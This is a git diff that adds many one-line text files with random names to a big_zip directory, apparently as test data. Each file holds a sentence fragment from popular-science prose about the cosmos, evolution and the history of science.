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diff --git a/big_zip/big-zip-files/whstzlejwosej.txt b/big_zip/big-zip-files/whstzlejwosej.txt
new file mode 100644
index 0000000..5cbe24d
--- /dev/null
+++ b/big_zip/big-zip-files/whstzlejwosej.txt
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+The oldest of all philosophies, that of Evolution, was bound hand and foot and cast
\ No newline at end of file
diff --git a/big_zip/big-zip-files/wiymtotartocyf.txt b/big_zip/big-zip-files/wiymtotartocyf.txt
new file mode 100644
index 0000000..4950355
--- /dev/null
+++ b/big_zip/big-zip-files/wiymtotartocyf.txt
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+top of it; it is motionless and within it the Sun being so small passes from one region to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/wjldtrtkfv.txt b/big_zip/big-zip-files/wjldtrtkfv.txt
new file mode 100644
index 0000000..00f9d83
--- /dev/null
+++ b/big_zip/big-zip-files/wjldtrtkfv.txt
@@ -0,0 +1 @@
+Like organisms, machines also have their evolutions. The rocket began, like the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/wjpicjnlmorqwesy.txt b/big_zip/big-zip-files/wjpicjnlmorqwesy.txt
new file mode 100644
index 0000000..b35ddf5
--- /dev/null
+++ b/big_zip/big-zip-files/wjpicjnlmorqwesy.txt
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+direction of the Earth. This force Newton called gravity, and believed that it acted at a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/wkabzdzslozwnoactzrt.txt b/big_zip/big-zip-files/wkabzdzslozwnoactzrt.txt
new file mode 100644
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--- /dev/null
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+simplest one-celled organism is a far more complex machine than the finest pocket watch.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/wllvhbozoigtjcqgse.txt b/big_zip/big-zip-files/wllvhbozoigtjcqgse.txt
new file mode 100644
index 0000000..a8cdefd
--- /dev/null
+++ b/big_zip/big-zip-files/wllvhbozoigtjcqgse.txt
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+tantalizing titles of the works that were destroyed. In most cases, we know neither the titles
\ No newline at end of file
diff --git a/big_zip/big-zip-files/wlpqpvlsh.txt b/big_zip/big-zip-files/wlpqpvlsh.txt
new file mode 100644
index 0000000..fd17b19
--- /dev/null
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+engaged in the development and manufacture of weapons of mass destruction are givensalaries, perquisites of power and, where possible, public honors at the highest levels
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diff --git a/big_zip/big-zip-files/wovwbzmuldziqzzttp.txt b/big_zip/big-zip-files/wovwbzmuldziqzzttp.txt
new file mode 100644
index 0000000..d525b5d
--- /dev/null
+++ b/big_zip/big-zip-files/wovwbzmuldziqzzttp.txt
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+the human instinct to understand was thwarted by facile religious explanations, as in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/wrsfdluutbxeagwszquvd.txt b/big_zip/big-zip-files/wrsfdluutbxeagwszquvd.txt
new file mode 100644
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+negative electrical charge. So does every atom in the table. But negative charges repel each
\ No newline at end of file
diff --git a/big_zip/big-zip-files/wrvgtmdoistuobghvi.txt b/big_zip/big-zip-files/wrvgtmdoistuobghvi.txt
new file mode 100644
index 0000000..b576aa9
--- /dev/null
+++ b/big_zip/big-zip-files/wrvgtmdoistuobghvi.txt
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+information to which we have access is one index of our intelligence. The measuring rod,
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diff --git a/big_zip/big-zip-files/wsqjxtoti.txt b/big_zip/big-zip-files/wsqjxtoti.txt
new file mode 100644
index 0000000..2e0570b
--- /dev/null
+++ b/big_zip/big-zip-files/wsqjxtoti.txt
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+Western Samoa, New Zealand and Papua New Guinea, the constellation of the Southern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/wssrptjnzzeeoh.txt b/big_zip/big-zip-files/wssrptjnzzeeoh.txt
new file mode 100644
index 0000000..c1333a7
--- /dev/null
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+The evening of the 16th we finally arrived at Dendera. There was magnificent
\ No newline at end of file
diff --git a/big_zip/big-zip-files/wuxsvbflq.txt b/big_zip/big-zip-files/wuxsvbflq.txt
new file mode 100644
index 0000000..286cc15
--- /dev/null
+++ b/big_zip/big-zip-files/wuxsvbflq.txt
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+rovers have combed the surface, a time after samples have been returned safely to Earth, a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/wwnonytbdwftixpfwy.txt b/big_zip/big-zip-files/wwnonytbdwftixpfwy.txt
new file mode 100644
index 0000000..9849c96
--- /dev/null
+++ b/big_zip/big-zip-files/wwnonytbdwftixpfwy.txt
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+degenerate white dwarf, cooling like all those points of light we see at the centers of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/wwzxglifrpkoabsdfg.txt b/big_zip/big-zip-files/wwzxglifrpkoabsdfg.txt
new file mode 100644
index 0000000..942eedf
--- /dev/null
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+through my explanation. I had found a very different kind of fly. I was sure it had emerged
\ No newline at end of file
diff --git a/big_zip/big-zip-files/wyrsaruizpmvcrttfwjguawl.txt b/big_zip/big-zip-files/wyrsaruizpmvcrttfwjguawl.txt
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index 0000000..e6660bd
--- /dev/null
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+The stars are very far away. When we climb a hill or a tree they are no closer. And
\ No newline at end of file
diff --git a/big_zip/big-zip-files/xagvumrwiepkglppclc.txt b/big_zip/big-zip-files/xagvumrwiepkglppclc.txt
new file mode 100644
index 0000000..1afb081
--- /dev/null
+++ b/big_zip/big-zip-files/xagvumrwiepkglppclc.txt
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+by the fossil record. After the Cambrian explosion, exquisite new adaptations followed one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/xcguovwoachzi.txt b/big_zip/big-zip-files/xcguovwoachzi.txt
new file mode 100644
index 0000000..5533ae3
--- /dev/null
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+unwinding protein, each synthesizing an identical copy of the other from nucleotide
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diff --git a/big_zip/big-zip-files/xdhwafkszvwllrojcqio.txt b/big_zip/big-zip-files/xdhwafkszvwllrojcqio.txt
new file mode 100644
index 0000000..1cd53f1
--- /dev/null
+++ b/big_zip/big-zip-files/xdhwafkszvwllrojcqio.txt
@@ -0,0 +1 @@
+Anaximander of Miletus was a friend and colleague of Thales, one of the first
\ No newline at end of file
diff --git a/big_zip/big-zip-files/xdwdwowerwpetvaoure.txt b/big_zip/big-zip-files/xdwdwowerwpetvaoure.txt
new file mode 100644
index 0000000..136a85d
--- /dev/null
+++ b/big_zip/big-zip-files/xdwdwowerwpetvaoure.txt
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+was awed by the beauty and elegance of the physical world. He felt that poverty in a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/xhppilwlshyhuwtx.txt b/big_zip/big-zip-files/xhppilwlshyhuwtx.txt
new file mode 100644
index 0000000..2aba1ef
--- /dev/null
+++ b/big_zip/big-zip-files/xhppilwlshyhuwtx.txt
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+- Christiaan Huygens in New Conjectures Concerning the Planetary Worlds, Their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/xjszwxsrl.txt b/big_zip/big-zip-files/xjszwxsrl.txt
new file mode 100644
index 0000000..40589aa
--- /dev/null
+++ b/big_zip/big-zip-files/xjszwxsrl.txt
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+unmoving celestial object six months apart, we should be able to measure very great
\ No newline at end of file
diff --git a/big_zip/big-zip-files/xkbkevnipvewpyrnv.txt b/big_zip/big-zip-files/xkbkevnipvewpyrnv.txt
new file mode 100644
index 0000000..30b59ad
--- /dev/null
+++ b/big_zip/big-zip-files/xkbkevnipvewpyrnv.txt
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+summoned to Graz, in Austria, to teach secondary school mathematics, and began a little
\ No newline at end of file
diff --git a/big_zip/big-zip-files/xkjkiuogdldj.txt b/big_zip/big-zip-files/xkjkiuogdldj.txt
new file mode 100644
index 0000000..e15079e
--- /dev/null
+++ b/big_zip/big-zip-files/xkjkiuogdldj.txt
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+scientific endeavors that brought him into quarrelsome disputes with other scientists,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/xkugsaplesryeprilahbvd.txt b/big_zip/big-zip-files/xkugsaplesryeprilahbvd.txt
new file mode 100644
index 0000000..41a57a7
--- /dev/null
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+At many wavelengths the clouds and atmosphere of Venus are entirely transparent to radio
\ No newline at end of file
diff --git a/big_zip/big-zip-files/xnogetim.txt b/big_zip/big-zip-files/xnogetim.txt
new file mode 100644
index 0000000..ad1bd62
--- /dev/null
+++ b/big_zip/big-zip-files/xnogetim.txt
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+superimposed their messages on top of preexisting messages. Perhaps at an adjacent
\ No newline at end of file
diff --git a/big_zip/big-zip-files/xolsrazt.txt b/big_zip/big-zip-files/xolsrazt.txt
new file mode 100644
index 0000000..0886be1
--- /dev/null
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+exploration of Mars, say - is so large that they will not, I think, be mustered in the very near
\ No newline at end of file
diff --git a/big_zip/big-zip-files/xqmiicncyvfoxcxb.txt b/big_zip/big-zip-files/xqmiicncyvfoxcxb.txt
new file mode 100644
index 0000000..1768db8
--- /dev/null
+++ b/big_zip/big-zip-files/xqmiicncyvfoxcxb.txt
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+thermonuclear bomb: one bomb with the destructive force of the Second World War. But
\ No newline at end of file
diff --git a/big_zip/big-zip-files/xroawpwniqdoub.txt b/big_zip/big-zip-files/xroawpwniqdoub.txt
new file mode 100644
index 0000000..3407c87
--- /dev/null
+++ b/big_zip/big-zip-files/xroawpwniqdoub.txt
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/xskupixdxqvmnalpkjvzb.txt b/big_zip/big-zip-files/xskupixdxqvmnalpkjvzb.txt
new file mode 100644
index 0000000..5802a78
--- /dev/null
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+charge. The boss molecules are the nucleic acids. They live sequestered in a forbidden city
\ No newline at end of file
diff --git a/big_zip/big-zip-files/xtgbwnrpwqwdze.txt b/big_zip/big-zip-files/xtgbwnrpwqwdze.txt
new file mode 100644
index 0000000..10c5964
--- /dev/null
+++ b/big_zip/big-zip-files/xtgbwnrpwqwdze.txt
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+be demanded. Indeed, the authority of those who profess to teach is often a positive
\ No newline at end of file
diff --git a/big_zip/big-zip-files/xtjbciepqpixsidxgahsram.txt b/big_zip/big-zip-files/xtjbciepqpixsidxgahsram.txt
new file mode 100644
index 0000000..acc3950
--- /dev/null
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+became the first elliptical galaxies. There are similar galaxies, as if stamped from the same
\ No newline at end of file
diff --git a/big_zip/big-zip-files/xtjhjufr.txt b/big_zip/big-zip-files/xtjhjufr.txt
new file mode 100644
index 0000000..fd61d2d
--- /dev/null
+++ b/big_zip/big-zip-files/xtjhjufr.txt
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+The epochal confrontation between the two views of the Cosmos - Earth-centered
\ No newline at end of file
diff --git a/big_zip/big-zip-files/xtnkikiuijqidjx.txt b/big_zip/big-zip-files/xtnkikiuijqidjx.txt
new file mode 100644
index 0000000..a5cbe59
--- /dev/null
+++ b/big_zip/big-zip-files/xtnkikiuijqidjx.txt
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+perhaps because of a predisposition to believe in life on Mars.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/xtplbemvlgifjomjqqto.txt b/big_zip/big-zip-files/xtplbemvlgifjomjqqto.txt
new file mode 100644
index 0000000..f5dd604
--- /dev/null
+++ b/big_zip/big-zip-files/xtplbemvlgifjomjqqto.txt
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+understood its significance. In his notebook for 1905, for example, there is an entry on
\ No newline at end of file
diff --git a/big_zip/big-zip-files/xujhonkbpyzxxaqiwfclqp.txt b/big_zip/big-zip-files/xujhonkbpyzxxaqiwfclqp.txt
new file mode 100644
index 0000000..59f457b
--- /dev/null
+++ b/big_zip/big-zip-files/xujhonkbpyzxxaqiwfclqp.txt
@@ -0,0 +1 @@
+thought upon him I presently saw his picture though I was in the dark.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/xvnovymxtyiosuwgoinxqhf.txt b/big_zip/big-zip-files/xvnovymxtyiosuwgoinxqhf.txt
new file mode 100644
index 0000000..a5736ad
--- /dev/null
+++ b/big_zip/big-zip-files/xvnovymxtyiosuwgoinxqhf.txt
@@ -0,0 +1 @@
+was Pan Ku, the Undeveloped, the divine Embryo. And Pan Ku burst out of the egg,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/xvwxjvbrjspvwwphvmcn.txt b/big_zip/big-zip-files/xvwxjvbrjspvwwphvmcn.txt
new file mode 100644
index 0000000..47927ad
--- /dev/null
+++ b/big_zip/big-zip-files/xvwxjvbrjspvwwphvmcn.txt
@@ -0,0 +1 @@
+weapons were comparatively paltry, even an enraged warrior could kill only a few. As our
\ No newline at end of file
diff --git a/big_zip/big-zip-files/xwggtizpjvdutejhc.txt b/big_zip/big-zip-files/xwggtizpjvdutejhc.txt
new file mode 100644
index 0000000..907835e
--- /dev/null
+++ b/big_zip/big-zip-files/xwggtizpjvdutejhc.txt
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+of Venus. But for centuries after their discovery, the composition of those clouds remained
\ No newline at end of file
diff --git a/big_zip/big-zip-files/xwpyjxuwmzwwgkefxt.txt b/big_zip/big-zip-files/xwpyjxuwmzwwgkefxt.txt
new file mode 100644
index 0000000..570382a
--- /dev/null
+++ b/big_zip/big-zip-files/xwpyjxuwmzwwgkefxt.txt
@@ -0,0 +1 @@
+you lose what you’ve won, your plans are undone.’ What nonsense! If one counted the projects
\ No newline at end of file
diff --git a/big_zip/big-zip-files/xyjjhhswcepbzksyzrd.txt b/big_zip/big-zip-files/xyjjhhswcepbzksyzrd.txt
new file mode 100644
index 0000000..5908730
--- /dev/null
+++ b/big_zip/big-zip-files/xyjjhhswcepbzksyzrd.txt
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+course of action.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/xzkawplgtvtm.txt b/big_zip/big-zip-files/xzkawplgtvtm.txt
new file mode 100644
index 0000000..ebd893d
--- /dev/null
+++ b/big_zip/big-zip-files/xzkawplgtvtm.txt
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+the Earth; or those fundamental to life. Some are solids, some gases, and two (bromine and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ybgdtrgpuhpot.txt b/big_zip/big-zip-files/ybgdtrgpuhpot.txt
new file mode 100644
index 0000000..849827f
--- /dev/null
+++ b/big_zip/big-zip-files/ybgdtrgpuhpot.txt
@@ -0,0 +1 @@
+dreams of the gods, but rather that the gods are the dreams of men.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ybvknjiztvgotqcpgnccpbqg.txt b/big_zip/big-zip-files/ybvknjiztvgotqcpgnccpbqg.txt
new file mode 100644
index 0000000..c6f610e
--- /dev/null
+++ b/big_zip/big-zip-files/ybvknjiztvgotqcpgnccpbqg.txt
@@ -0,0 +1 @@
+tyrant named Polycrates. He seems to have started as a caterer and then gone on to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ydpcvqoysguoxhnmlodk.txt b/big_zip/big-zip-files/ydpcvqoysguoxhnmlodk.txt
new file mode 100644
index 0000000..ecb8d63
--- /dev/null
+++ b/big_zip/big-zip-files/ydpcvqoysguoxhnmlodk.txt
@@ -0,0 +1 @@
+peroxide; or that there is life, but of a kind in which organic chemistry plays a less central
\ No newline at end of file
diff --git a/big_zip/big-zip-files/yeptrvckrhuwfimgeytzqg.txt b/big_zip/big-zip-files/yeptrvckrhuwfimgeytzqg.txt
new file mode 100644
index 0000000..241f268
--- /dev/null
+++ b/big_zip/big-zip-files/yeptrvckrhuwfimgeytzqg.txt
@@ -0,0 +1 @@
+beginning to bend. Under extremely strong gravitational accelerations, even light is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/yeqghejqrzpxprde.txt b/big_zip/big-zip-files/yeqghejqrzpxprde.txt
new file mode 100644
index 0000000..da00d93
--- /dev/null
+++ b/big_zip/big-zip-files/yeqghejqrzpxprde.txt
@@ -0,0 +1 @@
+Hindu religion is the only one of the world’s great faiths dedicated to the idea that the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/yfzfozrd.txt b/big_zip/big-zip-files/yfzfozrd.txt
new file mode 100644
index 0000000..e689dcd
--- /dev/null
+++ b/big_zip/big-zip-files/yfzfozrd.txt
@@ -0,0 +1 @@
+transition from contraction to expansion. Some think that the laws of nature are then
\ No newline at end of file
diff --git a/big_zip/big-zip-files/yhnajnvvgoqntnzmdp.txt b/big_zip/big-zip-files/yhnajnvvgoqntnzmdp.txt
new file mode 100644
index 0000000..277f570
--- /dev/null
+++ b/big_zip/big-zip-files/yhnajnvvgoqntnzmdp.txt
@@ -0,0 +1 @@
+we could deduce its speed blindfolded, from the change in pitch.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/yivlxdqpctyfuxoog.txt b/big_zip/big-zip-files/yivlxdqpctyfuxoog.txt
new file mode 100644
index 0000000..1f4d31a
--- /dev/null
+++ b/big_zip/big-zip-files/yivlxdqpctyfuxoog.txt
@@ -0,0 +1 @@
+The solar neighborhood, the immediate environs of the Sun in space, includes the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/yjxxuzromduzjzgqvoios.txt b/big_zip/big-zip-files/yjxxuzromduzjzgqvoios.txt
new file mode 100644
index 0000000..fd2f4a5
--- /dev/null
+++ b/big_zip/big-zip-files/yjxxuzromduzjzgqvoios.txt
@@ -0,0 +1 @@
+test them with a variety of microbes. Very little effort was made to calibrate the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ykbjwetkjmwskjkfprjpny.txt b/big_zip/big-zip-files/ykbjwetkjmwskjkfprjpny.txt
new file mode 100644
index 0000000..576d911
--- /dev/null
+++ b/big_zip/big-zip-files/ykbjwetkjmwskjkfprjpny.txt
@@ -0,0 +1 @@
+turn first to radio technology. Perhaps they will have to wheel the radio telescopes out of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ykizimmgjph.txt b/big_zip/big-zip-files/ykizimmgjph.txt
new file mode 100644
index 0000000..6e7a038
--- /dev/null
+++ b/big_zip/big-zip-files/ykizimmgjph.txt
@@ -0,0 +1 @@
+complex. Both exhibit regularities, implying that they are not implacable forces but natural
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ykuwswsgcgbyecoym.txt b/big_zip/big-zip-files/ykuwswsgcgbyecoym.txt
new file mode 100644
index 0000000..94f9b25
--- /dev/null
+++ b/big_zip/big-zip-files/ykuwswsgcgbyecoym.txt
@@ -0,0 +1 @@
+great twentieth-century physicist, Niels Bohr: ‘The opposite of every great idea is another
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ymmikrfjzcucd.txt b/big_zip/big-zip-files/ymmikrfjzcucd.txt
new file mode 100644
index 0000000..d58841f
--- /dev/null
+++ b/big_zip/big-zip-files/ymmikrfjzcucd.txt
@@ -0,0 +1 @@
+powers can be trusted with arcane knowledge: ‘It serves no useful purpose and is unreasonable, to make such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/yokqofrepnycbbnlaxpmhdiy.txt b/big_zip/big-zip-files/yokqofrepnycbbnlaxpmhdiy.txt
new file mode 100644
index 0000000..f40913b
--- /dev/null
+++ b/big_zip/big-zip-files/yokqofrepnycbbnlaxpmhdiy.txt
@@ -0,0 +1 @@
+No one knows what wiped out the dinosaurs. One evocative idea is that it was a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ypsjrrcrsp.txt b/big_zip/big-zip-files/ypsjrrcrsp.txt
new file mode 100644
index 0000000..3fc7db9
--- /dev/null
+++ b/big_zip/big-zip-files/ypsjrrcrsp.txt
@@ -0,0 +1 @@
+creating huge alluvial basins; on Mars, the remnants of ancient rivers, perhaps arising from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/yrklfegpxx.txt b/big_zip/big-zip-files/yrklfegpxx.txt
new file mode 100644
index 0000000..14263ea
--- /dev/null
+++ b/big_zip/big-zip-files/yrklfegpxx.txt
@@ -0,0 +1 @@
+and plants for his own benefit or pleasure. He may do this methodically, or he may
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ysxdtfvylvafhpebl.txt b/big_zip/big-zip-files/ysxdtfvylvafhpebl.txt
new file mode 100644
index 0000000..077e7ea
--- /dev/null
+++ b/big_zip/big-zip-files/ysxdtfvylvafhpebl.txt
@@ -0,0 +1 @@
+Orion are hot and young, evolving rapidly and ending their lives in colossal cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ywfgtfbiyxzwscjlxxhdbf.txt b/big_zip/big-zip-files/ywfgtfbiyxzwscjlxxhdbf.txt
new file mode 100644
index 0000000..dc087e2
--- /dev/null
+++ b/big_zip/big-zip-files/ywfgtfbiyxzwscjlxxhdbf.txt
@@ -0,0 +1 @@
+there are many different hereditary lines. Suppose that, by chance, among the distant
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ywyjjpgjnkjrkymdxvjgxfiw.txt b/big_zip/big-zip-files/ywyjjpgjnkjrkymdxvjgxfiw.txt
new file mode 100644
index 0000000..d44e6dc
--- /dev/null
+++ b/big_zip/big-zip-files/ywyjjpgjnkjrkymdxvjgxfiw.txt
@@ -0,0 +1 @@
+not in the personal, small-scale unimaginative fashion that the astrologers pretend, but in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/yxnxilkirf.txt b/big_zip/big-zip-files/yxnxilkirf.txt
new file mode 100644
index 0000000..0ac46f9
--- /dev/null
+++ b/big_zip/big-zip-files/yxnxilkirf.txt
@@ -0,0 +1 @@
+some sort: the Earth certainly, and perhaps Mars, Titan and Jupiter. Once life originates, it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/yxqxofysf.txt b/big_zip/big-zip-files/yxqxofysf.txt
new file mode 100644
index 0000000..4bf0a70
--- /dev/null
+++ b/big_zip/big-zip-files/yxqxofysf.txt
@@ -0,0 +1 @@
+canals, farmland, city streets - a pattern disclosing the twin human passions for Euclidean
\ No newline at end of file
diff --git a/big_zip/big-zip-files/yzjvgnssdyyujvhvaxthd.txt b/big_zip/big-zip-files/yzjvgnssdyyujvhvaxthd.txt
new file mode 100644
index 0000000..167b0a0
--- /dev/null
+++ b/big_zip/big-zip-files/yzjvgnssdyyujvhvaxthd.txt
@@ -0,0 +1 @@
+ago than there is today, we might have to wait even longer than a hundred thousand years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/yzsurahwnmr.txt b/big_zip/big-zip-files/yzsurahwnmr.txt
new file mode 100644
index 0000000..429ce3d
--- /dev/null
+++ b/big_zip/big-zip-files/yzsurahwnmr.txt
@@ -0,0 +1 @@
+influencing what will happen to me tomorrow? The notion of a personal astrology
\ No newline at end of file
diff --git a/big_zip/big-zip-files/yzunapnldzhvskbxkbetuwjf.txt b/big_zip/big-zip-files/yzunapnldzhvskbxkbetuwjf.txt
new file mode 100644
index 0000000..cd65d0d
--- /dev/null
+++ b/big_zip/big-zip-files/yzunapnldzhvskbxkbetuwjf.txt
@@ -0,0 +1 @@
+with light. There were in those times not yet any planets to receive the light, no living
\ No newline at end of file
diff --git a/big_zip/big-zip-files/zalcbnapsal.txt b/big_zip/big-zip-files/zalcbnapsal.txt
new file mode 100644
index 0000000..1b9e254
--- /dev/null
+++ b/big_zip/big-zip-files/zalcbnapsal.txt
@@ -0,0 +1 @@
+to emerge in the five or so billion years remaining before the Sun dies. Then N =
\ No newline at end of file
diff --git a/big_zip/big-zip-files/zaqoczdgeeduycqhtinlaptr.txt b/big_zip/big-zip-files/zaqoczdgeeduycqhtinlaptr.txt
new file mode 100644
index 0000000..31d7762
--- /dev/null
+++ b/big_zip/big-zip-files/zaqoczdgeeduycqhtinlaptr.txt
@@ -0,0 +1 @@
+concerns, they were scrutinized and studied, perhaps almost as narrowly as a man
\ No newline at end of file
diff --git a/big_zip/big-zip-files/zaxqjrlw.txt b/big_zip/big-zip-files/zaxqjrlw.txt
new file mode 100644
index 0000000..017a89f
--- /dev/null
+++ b/big_zip/big-zip-files/zaxqjrlw.txt
@@ -0,0 +1 @@
+protein for which that DNA codes. The red blood cells of people of European descent look
\ No newline at end of file
diff --git a/big_zip/big-zip-files/zdjsuwup.txt b/big_zip/big-zip-files/zdjsuwup.txt
new file mode 100644
index 0000000..1cb1631
--- /dev/null
+++ b/big_zip/big-zip-files/zdjsuwup.txt
@@ -0,0 +1 @@
+Even over the lifetime of the human species - a few million years - constellations
\ No newline at end of file
diff --git a/big_zip/big-zip-files/zdvkklehmcwljjizb.txt b/big_zip/big-zip-files/zdvkklehmcwljjizb.txt
new file mode 100644
index 0000000..3fa8a47
--- /dev/null
+++ b/big_zip/big-zip-files/zdvkklehmcwljjizb.txt
@@ -0,0 +1 @@
+Let me tell you a story about one little phrase in the music of life on Earth. In the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/zejlkhxylqstwtrkock.txt b/big_zip/big-zip-files/zejlkhxylqstwtrkock.txt
new file mode 100644
index 0000000..1d548b3
--- /dev/null
+++ b/big_zip/big-zip-files/zejlkhxylqstwtrkock.txt
@@ -0,0 +1 @@
+Cosmos. It seemed inconceivable that a spectacular streak of milk-white flame, rising and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/zexajhkalbigxydnegmzaz.txt b/big_zip/big-zip-files/zexajhkalbigxydnegmzaz.txt
new file mode 100644
index 0000000..52cacf2
--- /dev/null
+++ b/big_zip/big-zip-files/zexajhkalbigxydnegmzaz.txt
@@ -0,0 +1 @@
+with distance, which is why a comet or a planet moves slowly when far from the Sun and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/zfdujontmug.txt b/big_zip/big-zip-files/zfdujontmug.txt
new file mode 100644
index 0000000..ddbeaab
--- /dev/null
+++ b/big_zip/big-zip-files/zfdujontmug.txt
@@ -0,0 +1 @@
+miles, and 500 miles x 50 = 25,000 miles.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/zfdzvfjcfaqqmwfawtfwxg.txt b/big_zip/big-zip-files/zfdzvfjcfaqqmwfawtfwxg.txt
new file mode 100644
index 0000000..eebc5b7
--- /dev/null
+++ b/big_zip/big-zip-files/zfdzvfjcfaqqmwfawtfwxg.txt
@@ -0,0 +1 @@
+Dutch burgers, ambassadors and sea captains stood wide-eyed in amazement, face to face
\ No newline at end of file
diff --git a/big_zip/big-zip-files/zgwdgfktaruzasuun.txt b/big_zip/big-zip-files/zgwdgfktaruzasuun.txt
new file mode 100644
index 0000000..9ff2d20
--- /dev/null
+++ b/big_zip/big-zip-files/zgwdgfktaruzasuun.txt
@@ -0,0 +1 @@
+The gas chromatograph on the Pioneer Venus entry probes gave an abundance of water in the lower
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ziarsquftijkcbcfkvl.txt b/big_zip/big-zip-files/ziarsquftijkcbcfkvl.txt
new file mode 100644
index 0000000..9624045
--- /dev/null
+++ b/big_zip/big-zip-files/ziarsquftijkcbcfkvl.txt
@@ -0,0 +1 @@
+surrounded by spherical shells of glowing gas, the planetary nebulae. (They have nothing to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/zijpomdywluzfvkixoy.txt b/big_zip/big-zip-files/zijpomdywluzfvkixoy.txt
new file mode 100644
index 0000000..f0c687b
--- /dev/null
+++ b/big_zip/big-zip-files/zijpomdywluzfvkixoy.txt
@@ -0,0 +1 @@
+The answer is the electron cloud. The outside of an atom in my elbow has a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/zjqsvepywrefjbunrwzcvmhg.txt b/big_zip/big-zip-files/zjqsvepywrefjbunrwzcvmhg.txt
new file mode 100644
index 0000000..c3221f5
--- /dev/null
+++ b/big_zip/big-zip-files/zjqsvepywrefjbunrwzcvmhg.txt
@@ -0,0 +1 @@
+interstellar space - chiefly cosmic rays and impacting dust grains - is so slow that the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/zlyclubd.txt b/big_zip/big-zip-files/zlyclubd.txt
new file mode 100644
index 0000000..f2a1370
--- /dev/null
+++ b/big_zip/big-zip-files/zlyclubd.txt
@@ -0,0 +1 @@
+information sorted into a computer memory, we would be able to see which sort of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/zpwhzznuovqfzcwttv.txt b/big_zip/big-zip-files/zpwhzznuovqfzcwttv.txt
new file mode 100644
index 0000000..ca91582
--- /dev/null
+++ b/big_zip/big-zip-files/zpwhzznuovqfzcwttv.txt
@@ -0,0 +1 @@
+these things in the sky with my own hands in order to upset Nature and overturn the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/zrfurhhoyjcdsla.txt b/big_zip/big-zip-files/zrfurhhoyjcdsla.txt
new file mode 100644
index 0000000..bad0cbd
--- /dev/null
+++ b/big_zip/big-zip-files/zrfurhhoyjcdsla.txt
@@ -0,0 +1 @@
+who, after a hundred Brahma years, dissolves himself into a dreamless sleep. The universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/zronbelkoxftmbreck.txt b/big_zip/big-zip-files/zronbelkoxftmbreck.txt
new file mode 100644
index 0000000..e4f1680
--- /dev/null
+++ b/big_zip/big-zip-files/zronbelkoxftmbreck.txt
@@ -0,0 +1 @@
+was red - extremely red, redder than Mars, perhaps the reddest object in the solar system.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/zrrrgadwwdexaqpasphaj.txt b/big_zip/big-zip-files/zrrrgadwwdexaqpasphaj.txt
new file mode 100644
index 0000000..1b51ba1
--- /dev/null
+++ b/big_zip/big-zip-files/zrrrgadwwdexaqpasphaj.txt
@@ -0,0 +1 @@
+radio fingers the surfaces of the nearby planets. The size of the radar beam projected
\ No newline at end of file
diff --git a/big_zip/big-zip-files/zsdajnkcqouuqvcusbvagmgn.txt b/big_zip/big-zip-files/zsdajnkcqouuqvcusbvagmgn.txt
new file mode 100644
index 0000000..f420687
--- /dev/null
+++ b/big_zip/big-zip-files/zsdajnkcqouuqvcusbvagmgn.txt
@@ -0,0 +1 @@
+with our common sense. But on this question, why should we trust common sense? Why
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ztstkhhbmzontbptaplq.txt b/big_zip/big-zip-files/ztstkhhbmzontbptaplq.txt
new file mode 100644
index 0000000..6e7176e
--- /dev/null
+++ b/big_zip/big-zip-files/ztstkhhbmzontbptaplq.txt
@@ -0,0 +1 @@
+the Pythagoreans, who, when questioned as to the grounds of any assertion that they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/zuixpsxihgeopxrednsvkp.txt b/big_zip/big-zip-files/zuixpsxihgeopxrednsvkp.txt
new file mode 100644
index 0000000..980995d
--- /dev/null
+++ b/big_zip/big-zip-files/zuixpsxihgeopxrednsvkp.txt
@@ -0,0 +1 @@
+A provincial schoolteacher of humble origins, unknown to all but a few
\ No newline at end of file
diff --git a/big_zip/big-zip-files/zumldfehnvcmgmcemwavg.txt b/big_zip/big-zip-files/zumldfehnvcmgmcemwavg.txt
new file mode 100644
index 0000000..ad070d4
--- /dev/null
+++ b/big_zip/big-zip-files/zumldfehnvcmgmcemwavg.txt
